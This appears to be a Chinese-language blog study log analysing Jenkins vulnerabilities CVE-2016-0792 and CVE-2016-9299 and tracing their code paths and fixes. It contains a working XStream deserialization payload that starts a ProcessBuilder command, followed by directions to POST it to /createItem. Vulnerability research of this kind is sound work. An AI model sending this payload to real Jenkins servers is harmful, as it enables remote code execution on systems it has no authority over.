Jenkins相关漏洞学习(二)

前言

Jenkins 历史漏洞学习记录,其二。


CVE-2016-0792

1
docker pull jenkins:1.642.4

漏洞分析

因为已经分析过 xstream 反序列化漏洞了,所以主要看看触发路径,直接用最近 CVE-2020-26217 的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>touch</string>
<string>/tmp/PPPPPPPPPwn</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

然后根据报错栈观察代码,createItem 的处理代码在 Jenkins 类中:

1
2
3
4
@RequirePOST
public synchronized TopLevelItem doCreateItem(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
return this.itemGroupMixIn.createTopLevelItem(req, rsp);
}

当传递的 contents-type 为 xml 时,会进入 createProjectFromXML:

1
2
3
4
5
6
7
boolean isXmlSubmission = requestContentType != null && (requestContentType.startsWith("application/xml") || requestContentType.startsWith("text/xml"));
...
if (isXmlSubmission) {
result = this.createProjectFromXML(name, req.getInputStream());
rsp.setStatus(200);
return result;
}

最后来到 Items 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Item load(ItemGroup parent, File dir) throws IOException {
Item item = (Item)getConfigFile(dir).read();
item.onLoad(parent, dir.getName());
return item;
}

public Object read() throws IOException {
if (LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("Reading " + this.file);
}

BufferedInputStream in = new BufferedInputStream(new FileInputStream(this.file));

Object var2;
try {
var2 = this.xs.fromXML(in);
} catch (XStreamException var7) {
throw new IOException("Unable to read " + this.file, var7);
} catch (Error var8) {
throw new IOException("Unable to read " + this.file, var8);
} finally {
in.close();
}

return var2;
}

由于这里的 Xstream 类没有做安全配置,导致了漏洞。

漏洞利用

修改 HTTP 头,然后将 xml POST 给 /createItem?name=test。

漏洞修复

Xsteam 修改了自身的黑名单,Jenkins 则使用了 Xstream 提供的内部安全策略白名单。

CVE-2016-9299

1
docker pull jenkins:2.19.2

漏洞分析

还是一个反序列化漏洞,绕过方式类同 CVE-2016-0788,同样使用的是类似 JRMP 的二次反序列化方式,同样是通过 JSON 调用某个类的 getter 函数,这里使用的是 LdapAttribute,它有一个 getAttributeSyntaxDefinition 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private DirContext getBaseCtx() throws NamingException {
if (this.baseCtx == null) {
if (this.baseCtxEnv == null) {
this.baseCtxEnv = new Hashtable(3);
}

this.baseCtxEnv.put("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
this.baseCtxEnv.put("java.naming.provider.url", this.baseCtxURL);
this.baseCtx = new InitialDirContext(this.baseCtxEnv);
}

return this.baseCtx;
}

public DirContext getAttributeSyntaxDefinition() throws NamingException {
DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
DirContext var2 = (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
Attribute var3 = var2.getAttributes("").get("SYNTAX");
if (var3 != null && var3.size() != 0) {
String var4 = (String)var3.get();
return (DirContext)var1.lookup("SyntaxDefinition/" + var4);
} else {
throw new NameNotFoundException(this.getID() + "does not have a syntax associated with it");
}
}

很明显这里可以触发 LDAP 注入,不过该版本 Jenkins 使用的 Java 版本较高,无法通过 Reference 进行 RCE。

接下来关注 getAttributeSyntaxDefinition 函数中调用的 getSchema 函数,通过调试可以发现,最后会调用 LdapBindingEnumeration 类的 createItem 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Binding createItem(String var1, final Attributes var2, Vector<Control> var3) throws NamingException {
Object var4 = null;
String var5 = this.getAtom(var1);
if (var2.get(Obj.JAVA_ATTRIBUTES[2]) != null) {
try {
var4 = AccessController.doPrivileged(new PrivilegedExceptionAction<Object>() {
public Object run() throws NamingException {
return Obj.decodeObject(var2);
}
}, this.acc);
} catch (PrivilegedActionException var11) {
throw (NamingException)var11.getException();
}
}

...
}

可以看到,这里会调用 Obj.decodeObject 对 LDAP 服务端返回的数据进行反序列化,但是需要满足几个条件,似乎涉及到了 LDAP 协议的 asn1 之类的东西,暂时不感兴趣就不看了。

漏洞利用

详见参考文章。

漏洞修复

jndi 相关的类也被 ban 掉了。

CVE-2018-1000861

摸了,以后有兴趣了再回来看。


参考文章

Jenkins-CVE-2016-0792漏洞利用及修复建议

Jenkins-LDAP (CVE-2016-9299) 反序列化漏洞分析


Jenkins相关漏洞学习(二)
http://yoursite.com/2020/11/25/Jenkins相关漏洞学习(二)/
作者
Aluvion
发布于
2020年11月25日
许可协议